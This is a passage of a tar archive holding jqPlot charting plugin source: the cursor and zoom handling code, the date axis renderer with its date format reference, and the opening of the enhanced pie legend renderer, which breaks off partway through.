ev.target.style.cursor = c.style; if (c.showTooltip) { updateTooltip(gridpos, datapos, plot); if (c.followMouse) { moveTooltip(gridpos, plot); } else { positionTooltip(plot); } c._tooltipElem.show(); } if (c.showVerticalLine || c.showHorizontalLine) { moveLine(gridpos, plot); } } } function handleMouseMove(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; if (c.show) { if (c.showTooltip) { updateTooltip(gridpos, datapos, plot); if (c.followMouse) { moveTooltip(gridpos, plot); } } if (c.showVerticalLine || c.showHorizontalLine) { moveLine(gridpos, plot); } } } function getEventPosition(ev) { var plot = ev.data.plot; var go = plot.eventCanvas._elem.offset(); var gridPos = {x:ev.pageX - go.left, y:ev.pageY - go.top}; ////// // TO DO: handle yMidAxis ////// var dataPos = {xaxis:null, yaxis:null, x2axis:null, y2axis:null, y3axis:null, y4axis:null, y5axis:null, y6axis:null, y7axis:null, y8axis:null, y9axis:null, yMidAxis:null}; var an = ['xaxis', 'yaxis', 'x2axis', 'y2axis', 'y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis', 'yMidAxis']; var ax = plot.axes; var n, axis; for (n=11; n>0; n--) { axis = an[n-1]; if (ax[axis].show) { dataPos[axis] = ax[axis].series_p2u(gridPos[axis.charAt(0)]); } } return {offsets:go, gridPos:gridPos, dataPos:dataPos}; } function handleZoomMove(ev) { var plot = ev.data.plot; var c = plot.plugins.cursor; // don't do anything if not on grid. if (c.show && c.zoom && c._zoom.started && !c.zoomTarget) { ev.preventDefault(); var ctx = c.zoomCanvas._ctx; var positions = getEventPosition(ev); var gridpos = positions.gridPos; var datapos = positions.dataPos; c._zoom.gridpos = gridpos; c._zoom.datapos = datapos; c._zoom.zooming = true; var xpos = gridpos.x; var ypos = gridpos.y; var height = ctx.canvas.height; var width = ctx.canvas.width; if (c.showTooltip && !c.onGrid && c.showTooltipOutsideZoom) { updateTooltip(gridpos, datapos, plot); if (c.followMouse) { moveTooltip(gridpos, plot); } } if (c.constrainZoomTo == 'x') { c._zoom.end = [xpos, height]; } else if (c.constrainZoomTo == 'y') { c._zoom.end = [width, ypos]; } else { c._zoom.end = [xpos, ypos]; } var sel = window.getSelection; if (document.selection && document.selection.empty) { document.selection.empty(); } else if (sel && !sel().isCollapsed) { sel().collapse(); } drawZoomBox.call(c); ctx = null; } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { var c = plot.plugins.cursor; if(plot.plugins.mobile){ $(document).one('vmouseup.jqplot_cursor', {plot:plot}, handleMouseUp); } else { $(document).one('mouseup.jqplot_cursor', {plot:plot}, handleMouseUp); } var axes = plot.axes; if (document.onselectstart != undefined) { c._oldHandlers.onselectstart = document.onselectstart; document.onselectstart = function () { return false; }; } if (document.ondrag != undefined) { c._oldHandlers.ondrag = document.ondrag; document.ondrag = function () { return false; }; } if (document.onmousedown != undefined) { c._oldHandlers.onmousedown = document.onmousedown; document.onmousedown = function () { return false; }; } if (c.zoom) { if (!c.zoomProxy) { var ctx = c.zoomCanvas._ctx; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx = null; } if (c.constrainZoomTo == 'x') { c._zoom.start = [gridpos.x, 0]; } else if (c.constrainZoomTo == 'y') { c._zoom.start = [0, gridpos.y]; } else { c._zoom.start = [gridpos.x, gridpos.y]; } c._zoom.started = true; for (var ax in datapos) { // get zoom starting position. c._zoom.axes.start[ax] = datapos[ax]; } if(plot.plugins.mobile){ $(document).bind('vmousemove.jqplotCursor', {plot:plot}, handleZoomMove); } else { $(document).bind('mousemove.jqplotCursor', {plot:plot}, handleZoomMove); } } } function handleMouseUp(ev) { var plot = ev.data.plot; var c = plot.plugins.cursor; if (c.zoom && c._zoom.zooming && !c.zoomTarget) { var xpos = c._zoom.gridpos.x; var ypos = c._zoom.gridpos.y; var datapos = c._zoom.datapos; var height = c.zoomCanvas._ctx.canvas.height; var width = c.zoomCanvas._ctx.canvas.width; var axes = plot.axes; if (c.constrainOutsideZoom && !c.onGrid) { if (xpos < 0) { xpos = 0; } else if (xpos > width) { xpos = width; } if (ypos < 0) { ypos = 0; } else if (ypos > height) { ypos = height; } for (var axis in datapos) { if (datapos[axis]) { if (axis.charAt(0) == 'x') { datapos[axis] = axes[axis].series_p2u(xpos); } else { datapos[axis] = axes[axis].series_p2u(ypos); } } } } if (c.constrainZoomTo == 'x') { ypos = height; } else if (c.constrainZoomTo == 'y') { xpos = width; } c._zoom.end = [xpos, ypos]; c._zoom.gridpos = {x:xpos, y:ypos}; c.doZoom(c._zoom.gridpos, datapos, plot, c); } c._zoom.started = false; c._zoom.zooming = false; $(document).unbind('mousemove.jqplotCursor', handleZoomMove); if (document.onselectstart != undefined && c._oldHandlers.onselectstart != null){ document.onselectstart = c._oldHandlers.onselectstart; c._oldHandlers.onselectstart = null; } if (document.ondrag != undefined && c._oldHandlers.ondrag != null){ document.ondrag = c._oldHandlers.ondrag; c._oldHandlers.ondrag = null; } if (document.onmousedown != undefined && c._oldHandlers.onmousedown != null){ document.onmousedown = c._oldHandlers.onmousedown; c._oldHandlers.onmousedown = null; } } function drawZoomBox() { var start = this._zoom.start; var end = this._zoom.end; var ctx = this.zoomCanvas._ctx; var l, t, h, w; if (end[0] > start[0]) { l = start[0]; w = end[0] - start[0]; } else { l = end[0]; w = start[0] - end[0]; } if (end[1] > start[1]) { t = start[1]; h = end[1] - start[1]; } else { t = end[1]; h = start[1] - end[1]; } ctx.fillStyle = 'rgba(0,0,0,0.2)'; ctx.strokeStyle = '#999999'; ctx.lineWidth = 1.0; ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx.fillRect(0,0,ctx.canvas.width, ctx.canvas.height); ctx.clearRect(l, t, w, h); // IE won't show transparent fill rect, so stroke a rect also. ctx.strokeRect(l,t,w,h); ctx = null; } $.jqplot.CursorLegendRenderer = function(options) { $.jqplot.TableLegendRenderer.call(this, options); this.formatString = '%s'; }; $.jqplot.CursorLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.CursorLegendRenderer.prototype.constructor = $.jqplot.CursorLegendRenderer; // called in context of a Legend $.jqplot.CursorLegendRenderer.prototype.draw = function() { if (this._elem) { this._elem.emptyForce(); this._elem = null; } if (this.show) { var series = this._series, s; // make a table. one line label per row. var elem = document.createElement('table'); this._elem = $(elem); elem = null; this._elem.addClass('jqplot-legend jqplot-cursor-legend'); this._elem.css('position', 'absolute'); var pad = false; for (var i = 0; i< series.length; i++) { s = series[i]; if (s.show && s.showLabel) { var lt = $.jqplot.sprintf(this.formatString, s.label.toString()); if (lt) { var color = s.color; if (s._stack && !s.fill) { color = ''; } addrow.call(this, lt, color, pad, i); pad = true; } // let plugins add more rows to legend. Used by trend line plugin. for (var j=0; j<$.jqplot.addLegendRowHooks.length; j++) { var item = $.jqplot.addLegendRowHooks[j].call(this, s); if (item) { addrow.call(this, item.label, item.color, pad); pad = true; } } } } series = s = null; delete series; delete s; } function addrow(label, color, pad, idx) { var rs = (pad) ? this.rowSpacing : '0'; var tr = $('<tr class="jqplot-legend jqplot-cursor-legend"></tr>').appendTo(this._elem); tr.data('seriesIndex', idx); $('<td class="jqplot-legend jqplot-cursor-legend-swatch" style="padding-top:'+rs+';">'+ '<div style="border:1px solid #cccccc;padding:0.2em;">'+ '<div class="jqplot-cursor-legend-swatch" style="background-color:'+color+';"></div>'+ '</div></td>').appendTo(tr); var td = $('<td class="jqplot-legend jqplot-cursor-legend-label" style="vertical-align:middle;padding-top:'+rs+';"></td>'); td.appendTo(tr); td.data('seriesIndex', idx); if (this.escapeHtml) { td.text(label); } else { td.html(label); } tr = null; td = null; } return this._elem; }; })(jQuery); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.dateAxisRenderer.js����������������������������������������������������0000666�����������������00000073215�15172447206�0016156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.DateAxisRenderer * A plugin for a jqPlot to render an axis as a series of date values. * This renderer has no options beyond those supplied by the <Axis> class. * It supplies its own tick formatter, so the tickOptions.formatter option * should not be overridden. * * Thanks to Ken Synder for his enhanced Date instance methods which are * included with this code <http://kendsnyder.com/sandbox/date/>. * * To use this renderer, include the plugin in your source * > <script type="text/javascript" language="javascript" src="plugins/jqplot.dateAxisRenderer.js"></script> * * and supply the appropriate options to your plot * * > {axes:{xaxis:{renderer:$.jqplot.DateAxisRenderer}}} * * Dates can be passed into the axis in almost any recognizable value and * will be parsed. They will be rendered on the axis in the format * specified by tickOptions.formatString. e.g. tickOptions.formatString = '%Y-%m-%d'. * * Accecptable format codes * are: * * > Code Result Description * > == Years == * > %Y 2008 Four-digit year * > %y 08 Two-digit year * > == Months == * > %m 09 Two-digit month * > %#m 9 One or two-digit month * > %B September Full month name * > %b Sep Abbreviated month name * > == Days == * > %d 05 Two-digit day of month * > %#d 5 One or two-digit day of month * > %e 5 One or two-digit day of month * > %A Sunday Full name of the day of the week * > %a Sun Abbreviated name of the day of the week * > %w 0 Number of the day of the week (0 = Sunday, 6 = Saturday) * > %o th The ordinal suffix string following the day of the month * > == Hours == * > %H 23 Hours in 24-hour format (two digits) * > %#H 3 Hours in 24-hour integer format (one or two digits) * > %I 11 Hours in 12-hour format (two digits) * > %#I 3 Hours in 12-hour integer format (one or two digits) * > %p PM AM or PM * > == Minutes == * > %M 09 Minutes (two digits) * > %#M 9 Minutes (one or two digits) * > == Seconds == * > %S 02 Seconds (two digits) * > %#S 2 Seconds (one or two digits) * > %s 1206567625723 Unix timestamp (Seconds past 1970-01-01 00:00:00) * > == Milliseconds == * > %N 008 Milliseconds (three digits) * > %#N 8 Milliseconds (one to three digits) * > == Timezone == * > %O 360 difference in minutes between local time and GMT * > %Z Mountain Standard Time Name of timezone as reported by browser * > %G -06:00 Hours and minutes between GMT * > == Shortcuts == * > %F 2008-03-26 %Y-%m-%d * > %T 05:06:30 %H:%M:%S * > %X 05:06:30 %H:%M:%S * > %x 03/26/08 %m/%d/%y * > %D 03/26/08 %m/%d/%y * > %#c Wed Mar 26 15:31:00 2008 %a %b %e %H:%M:%S %Y * > %v 3-Sep-2008 %e-%b-%Y * > %R 15:31 %H:%M * > %r 3:31:00 PM %I:%M:%S %p * > == Characters == * > %n \n Newline * > %t \t Tab * > %% % Percent Symbol */ $.jqplot.DateAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); this.date = new $.jsDate(); }; var second = 1000; var minute = 60 * second; var hour = 60 * minute; var day = 24 * hour; var week = 7 * day; // these are less definitive var month = 30.4368499 * day; var year = 365.242199 * day; var daysInMonths = [31,28,31,30,31,30,31,30,31,30,31,30]; // array of consistent nice intervals. Longer intervals // will depend on days in month, days in year, etc. var niceFormatStrings = ['%M:%S.%#N', '%M:%S.%#N', '%M:%S.%#N', '%M:%S', '%M:%S', '%M:%S', '%M:%S', '%H:%M:%S', '%H:%M:%S', '%H:%M', '%H:%M', '%H:%M', '%H:%M', '%H:%M', '%H:%M', '%a %H:%M', '%a %H:%M', '%b %e %H:%M', '%b %e %H:%M', '%b %e %H:%M', '%b %e %H:%M', '%v', '%v', '%v', '%v', '%v', '%v', '%v']; var niceIntervals = [0.1*second, 0.2*second, 0.5*second, second, 2*second, 5*second, 10*second, 15*second, 30*second, minute, 2*minute, 5*minute, 10*minute, 15*minute, 30*minute, hour, 2*hour, 4*hour, 6*hour, 8*hour, 12*hour, day, 2*day, 3*day, 4*day, 5*day, week, 2*week]; var niceMonthlyIntervals = []; function bestDateInterval(min, max, titarget) { // iterate through niceIntervals to find one closest to titarget var badness = Number.MAX_VALUE; var temp, bestTi, bestfmt; for (var i=0, l=niceIntervals.length; i < l; i++) { temp = Math.abs(titarget - niceIntervals[i]); if (temp < badness) { badness = temp; bestTi = niceIntervals[i]; bestfmt = niceFormatStrings[i]; } } return [bestTi, bestfmt]; } $.jqplot.DateAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.DateAxisRenderer.prototype.constructor = $.jqplot.DateAxisRenderer; $.jqplot.DateTickFormatter = function(format, val) { if (!format) { format = '%Y/%m/%d'; } return $.jsDate.strftime(val, format); }; $.jqplot.DateAxisRenderer.prototype.init = function(options){ // prop: tickRenderer // A class of a rendering engine for creating the ticks labels displayed on the plot, // See <$.jqplot.AxisTickRenderer>. // this.tickRenderer = $.jqplot.AxisTickRenderer; // this.labelRenderer = $.jqplot.AxisLabelRenderer; this.tickOptions.formatter = $.jqplot.DateTickFormatter; // prop: tickInset // Controls the amount to inset the first and last ticks from // the edges of the grid, in multiples of the tick interval. // 0 is no inset, 0.5 is one half a tick interval, 1 is a full // tick interval, etc. this.tickInset = 0; // prop: drawBaseline // True to draw the axis baseline. this.drawBaseline = true; // prop: baselineWidth // width of the baseline in pixels. this.baselineWidth = null; // prop: baselineColor // CSS color spec for the baseline. this.baselineColor = null; this.daTickInterval = null; this._daTickInterval = null; $.extend(true, this, options); var db = this._dataBounds, stats, sum, s, d, pd, sd, intv; // Go through all the series attached to this axis and find // the min/max bounds for this axis. for (var i=0; i<this._series.length; i++) { stats = {intervals:[], frequencies:{}, sortedIntervals:[], min:null, max:null, mean:null}; sum = 0; s = this._series[i]; d = s.data; pd = s._plotData; sd = s._stackData; intv = 0; for (var j=0; j<d.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { d[j][0] = new $.jsDate(d[j][0]).getTime(); pd[j][0] = new $.jsDate(pd[j][0]).getTime(); sd[j][0] = new $.jsDate(sd[j][0]).getTime(); if ((d[j][0] != null && d[j][0] < db.min) || db.min == null) { db.min = d[j][0]; } if ((d[j][0] != null && d[j][0] > db.max) || db.max == null) { db.max = d[j][0]; } if (j>0) { intv = Math.abs(d[j][0] - d[j-1][0]); stats.intervals.push(intv); if (stats.frequencies.hasOwnProperty(intv)) { stats.frequencies[intv] += 1; } else { stats.frequencies[intv] = 1; } } sum += intv; } else { d[j][1] = new $.jsDate(d[j][1]).getTime(); pd[j][1] = new $.jsDate(pd[j][1]).getTime(); sd[j][1] = new $.jsDate(sd[j][1]).getTime(); if ((d[j][1] != null && d[j][1] < db.min) || db.min == null) { db.min = d[j][1]; } if ((d[j][1] != null && d[j][1] > db.max) || db.max == null) { db.max = d[j][1]; } if (j>0) { intv = Math.abs(d[j][1] - d[j-1][1]); stats.intervals.push(intv); if (stats.frequencies.hasOwnProperty(intv)) { stats.frequencies[intv] += 1; } else { stats.frequencies[intv] = 1; } } } sum += intv; } if (s.renderer.bands) { if (s.renderer.bands.hiData.length) { var bd = s.renderer.bands.hiData; for (var j=0, l=bd.length; j < l; j++) { if (this.name === 'xaxis' || this.name === 'x2axis') { bd[j][0] = new $.jsDate(bd[j][0]).getTime(); if ((bd[j][0] != null && bd[j][0] > db.max) || db.max == null) { db.max = bd[j][0]; } } else { bd[j][1] = new $.jsDate(bd[j][1]).getTime(); if ((bd[j][1] != null && bd[j][1] > db.max) || db.max == null) { db.max = bd[j][1]; } } } } if (s.renderer.bands.lowData.length) { var bd = s.renderer.bands.lowData; for (var j=0, l=bd.length; j < l; j++) { if (this.name === 'xaxis' || this.name === 'x2axis') { bd[j][0] = new $.jsDate(bd[j][0]).getTime(); if ((bd[j][0] != null && bd[j][0] < db.min) || db.min == null) { db.min = bd[j][0]; } } else { bd[j][1] = new $.jsDate(bd[j][1]).getTime(); if ((bd[j][1] != null && bd[j][1] < db.min) || db.min == null) { db.min = bd[j][1]; } } } } } var tempf = 0, tempn=0; for (var n in stats.frequencies) { stats.sortedIntervals.push({interval:n, frequency:stats.frequencies[n]}); } stats.sortedIntervals.sort(function(a, b){ return b.frequency - a.frequency; }); stats.min = $.jqplot.arrayMin(stats.intervals); stats.max = $.jqplot.arrayMax(stats.intervals); stats.mean = sum/d.length; this._intervalStats.push(stats); stats = sum = s = d = pd = sd = null; } db = null; }; // called with scope of an axis $.jqplot.DateAxisRenderer.prototype.reset = function() { this.min = this._options.min; this.max = this._options.max; this.tickInterval = this._options.tickInterval; this.numberTicks = this._options.numberTicks; this._autoFormatString = ''; if (this._overrideFormatString && this.tickOptions && this.tickOptions.formatString) { this.tickOptions.formatString = ''; } this.daTickInterval = this._daTickInterval; // this._ticks = this.__ticks; }; $.jqplot.DateAxisRenderer.prototype.createTicks = function(plot) { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var iv = this._intervalStats; var dim = (this.name.charAt(0) === 'x') ? this._plotDimensions.width : this._plotDimensions.height; var interval; var min, max; var pos1, pos2; var tt, i; var threshold = 30; var insetMult = 1; var daTickInterval = null; // if user specified a tick interval, convert to usable. if (this.tickInterval != null) { // if interval is a number or can be converted to one, use it. // Assume it is in SECONDS!!! if (Number(this.tickInterval)) { daTickInterval = [Number(this.tickInterval), 'seconds']; } // else, parse out something we can build from. else if (typeof this.tickInterval == "string") { var parts = this.tickInterval.split(' '); if (parts.length == 1) { daTickInterval = [1, parts[0]]; } else if (parts.length == 2) { daTickInterval = [parts[0], parts[1]]; } } } var tickInterval = this.tickInterval; // if we already have ticks, use them. // ticks must be in order of increasing value. min = new $.jsDate((this.min != null) ? this.min : db.min).getTime(); max = new $.jsDate((this.max != null) ? this.max : db.max).getTime(); // see if we're zooming. if we are, don't use the min and max we're given, // but compute some nice ones. They will be reset later. var cursor = plot.plugins.cursor; if (cursor && cursor._zoom && cursor._zoom.zooming) { this.min = null; this.max = null; } var range = max - min; if (this.tickOptions == null || !this.tickOptions.formatString) { this._overrideFormatString = true; } if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0; i<userTicks.length; i++){ var ut = userTicks[i]; var t = new this.tickRenderer(this.tickOptions); if (ut.constructor == Array) { t.value = new $.jsDate(ut[0]).getTime(); t.label = ut[1]; if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(t.value, this.name); this._ticks.push(t); } else { t.value = new $.jsDate(ut).getTime(); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(t.value, this.name); this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; this.daTickInterval = [(this.max - this.min) / (this.numberTicks - 1)/1000, 'seconds']; } //////// // We don't have any ticks yet, let's make some! //////// // special case when there is only one point, make three tick marks to center the point else if (this.min == null && this.max == null && db.min == db.max) { var onePointOpts = $.extend(true, {}, this.tickOptions, {name: this.name, value: null}); var delta = 300000; this.min = db.min - delta; this.max = db.max + delta; this.numberTicks = 3; for(var i=this.min;i<=this.max;i+= delta) { onePointOpts.value = i; var t = new this.tickRenderer(onePointOpts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } t.showLabel = false; t.showMark = false; this._ticks.push(t); } if(this.showTicks) { this._ticks[1].showLabel = true; } if(this.showTickMarks) { this._ticks[1].showTickMarks = true; } } // if user specified min and max are null, we set those to make best ticks. else if (this.min == null && this.max == null) { var opts = $.extend(true, {}, this.tickOptions, {name: this.name, value: null}); // want to find a nice interval var nttarget, titarget; // if no tickInterval or numberTicks options specified, make a good guess. if (!this.tickInterval && !this.numberTicks) { var tdim = Math.max(dim, threshold+1); // how many ticks to put on the axis? // date labels tend to be long. If ticks not rotated, // don't use too many and have a high spacing factor. // If we are rotating ticks, use a lower factor. var spacingFactor = 115; if (this.tickRenderer === $.jqplot.CanvasAxisTickRenderer && this.tickOptions.angle) { spacingFactor = 115 - 40 * Math.abs(Math.sin(this.tickOptions.angle/180*Math.PI)); } nttarget = Math.ceil((tdim-threshold)/spacingFactor + 1); titarget = (max - min) / (nttarget - 1); } // If tickInterval is specified, we'll try to honor it. // Not guaranteed to get this interval, but we'll get as close as // we can. // tickInterval will be used before numberTicks, that is if // both are specified, numberTicks will be ignored. else if (this.tickInterval) { titarget = new $.jsDate(0).add(daTickInterval[0], daTickInterval[1]).getTime(); } // if numberTicks specified, try to honor it. // Not guaranteed, but will try to get close. else if (this.numberTicks) { nttarget = this.numberTicks; titarget = (max - min) / (nttarget - 1); } // If we can use an interval of 2 weeks or less, pick best one if (titarget <= 19*day) { var ret = bestDateInterval(min, max, titarget); var tempti = ret[0]; this._autoFormatString = ret[1]; min = new $.jsDate(min); min = Math.floor((min.getTime() - min.getUtcOffset())/tempti) * tempti + min.getUtcOffset(); nttarget = Math.ceil((max - min) / tempti) + 1; this.min = min; this.max = min + (nttarget - 1) * tempti; // if max is less than max, add an interval if (this.max < max) { this.max += tempti; nttarget += 1; } this.tickInterval = tempti; this.numberTicks = nttarget; for (var i=0; i<nttarget; i++) { opts.value = this.min + i * tempti; t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } insetMult = this.tickInterval; } // should we use a monthly interval? else if (titarget <= 9 * month) { this._autoFormatString = '%v'; // how many months in an interval? var intv = Math.round(titarget/month); if (intv < 1) { intv = 1; } else if (intv > 6) { intv = 6; } // figure out the starting month and ending month. var mstart = new $.jsDate(min).setDate(1).setHours(0,0,0,0); // See if max ends exactly on a month var tempmend = new $.jsDate(max); var mend = new $.jsDate(max).setDate(1).setHours(0,0,0,0); if (tempmend.getTime() !== mend.getTime()) { mend = mend.add(1, 'month'); } var nmonths = mend.diff(mstart, 'month'); nttarget = Math.ceil(nmonths/intv) + 1; this.min = mstart.getTime(); this.max = mstart.clone().add((nttarget - 1) * intv, 'month').getTime(); this.numberTicks = nttarget; for (var i=0; i<nttarget; i++) { if (i === 0) { opts.value = mstart.getTime(); } else { opts.value = mstart.add(intv, 'month').getTime(); } t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } insetMult = intv * month; } // use yearly intervals else { this._autoFormatString = '%v'; // how many years in an interval? var intv = Math.round(titarget/year); if (intv < 1) { intv = 1; } // figure out the starting and ending years. var mstart = new $.jsDate(min).setMonth(0, 1).setHours(0,0,0,0); var mend = new $.jsDate(max).add(1, 'year').setMonth(0, 1).setHours(0,0,0,0); var nyears = mend.diff(mstart, 'year'); nttarget = Math.ceil(nyears/intv) + 1; this.min = mstart.getTime(); this.max = mstart.clone().add((nttarget - 1) * intv, 'year').getTime(); this.numberTicks = nttarget; for (var i=0; i<nttarget; i++) { if (i === 0) { opts.value = mstart.getTime(); } else { opts.value = mstart.add(intv, 'year').getTime(); } t = new this.tickRenderer(opts); if (this._overrideFormatString && this._autoFormatString != '') { t.formatString = this._autoFormatString; } if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } this._ticks.push(t); } insetMult = intv * year; } } //////// // Some option(s) specified, work around that. //////// else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } // if min, max and number of ticks specified, user can't specify interval. if (this.min != null && this.max != null && this.numberTicks != null) { this.tickInterval = null; } if (this.tickInterval != null && daTickInterval != null) { this.daTickInterval = daTickInterval; } // if min and max are same, space them out a bit if (min == max) { var adj = 24*60*60*500; // 1/2 day min -= adj; max += adj; } range = max - min; var optNumTicks = 2 + parseInt(Math.max(0, dim-100)/100, 10); var rmin, rmax; rmin = (this.min != null) ? new $.jsDate(this.min).getTime() : min - range/2*(this.padMin - 1); rmax = (this.max != null) ? new $.jsDate(this.max).getTime() : max + range/2*(this.padMax - 1); this.min = rmin; this.max = rmax; range = this.max - this.min; if (this.numberTicks == null){ // if tickInterval is specified by user, we will ignore computed maximum. // max will be equal or greater to fit even # of ticks. if (this.daTickInterval != null) { var nc = new $.jsDate(this.max).diff(this.min, this.daTickInterval[1], true); this.numberTicks = Math.ceil(nc/this.daTickInterval[0]) +1; // this.max = new $.jsDate(this.min).add(this.numberTicks-1, this.daTickInterval[1]).getTime(); this.max = new $.jsDate(this.min).add((this.numberTicks-1) * this.daTickInterval[0], this.daTickInterval[1]).getTime(); } else if (dim > 200) { this.numberTicks = parseInt(3+(dim-200)/100, 10); } else { this.numberTicks = 2; } } insetMult = range / (this.numberTicks-1)/1000; if (this.daTickInterval == null) { this.daTickInterval = [insetMult, 'seconds']; } for (var i=0; i<this.numberTicks; i++){ var min = new $.jsDate(this.min); tt = min.add(i*this.daTickInterval[0], this.daTickInterval[1]).getTime(); var t = new this.tickRenderer(this.tickOptions); // var t = new $.jqplot.AxisTickRenderer(this.tickOptions); if (!this.showTicks) { t.showLabel = false; t.showMark = false; } else if (!this.showTickMarks) { t.showMark = false; } t.setTick(tt, this.name); this._ticks.push(t); } } if (this.tickInset) { this.min = this.min - this.tickInset * insetMult; this.max = this.max + this.tickInset * insetMult; } if (this._daTickInterval == null) { this._daTickInterval = this.daTickInterval; } ticks = null; }; })(jQuery); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jqplot/plugins/jqplot.enhancedPieLegendRenderer.js�������������������������������������������0000666�����������������00000026036�15172447206�0017735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: dff2f04 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // class $.jqplot.EnhancedPieLegendRenderer // Legend renderer which can specify the number of rows and/or columns in the legend // Similar to EnhancedLegendRenderer, but for pie charts $.jqplot.EnhancedPieLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.EnhancedPieLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.EnhancedPieLegendRenderer.prototype.constructor = $.jqplot.EnhancedPieLegendRenderer; // called with scope of legend. $.jqplot.EnhancedPieLegendRenderer.prototype.init = function(options) { // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; // prop: seriesToggle // false to not enable series on/off toggling on the legend. // true or a fadein/fadeout speed (number of milliseconds or 'fast', 'normal', 'slow') // to enable show/hide of series on click of legend item. this.seriesToggle = 'normal'; // prop: seriesToggleReplot // True to replot the chart after toggling series on/off. // This will set the series show property to false. // This allows for rescaling or other maniplation of chart. // Set to an options object (e.g. {resetAxes: true}) for replot options. this.seriesToggleReplot = false; // prop: disableIEFading // true to toggle series with a show/hide method only and not allow fading in/out. // This is to overcome poor performance of fade in some versions of IE. this.disableIEFading = true; // prop: toolTips // optional array of toolTip text corresponding to each pie slice this.toolTips = []; $.extend(true, this, options); if (this.seriesToggle) { $.jqplot.postDrawHooks.push(postDraw); } }; // called with scope of legend $.jqplot.EnhancedPieLegendRenderer.prototype.draw = function(offsets, plot) { var legend = this; if (this.show) { var series = this._series; var s; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; ss += (this.marginTop != null) ? 'margin-top:'+this.marginTop+';' : ''; ss += (this.marginBottom != null) ? 'margin-bottom:'+this.marginBottom+';' : ''; ss += (this.marginLeft != null) ? 'margin-left:'+this.marginLeft+';' : ''; ss += (this.marginRight != null) ? 'margin-right:'+this.marginRight+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); if (this.seriesToggle) { this._elem.css('z-index', '3'); } var pad = false, reverse = false, nr, nc; var s = series[0]; var slen = s.data.length; var colorGenerator = new 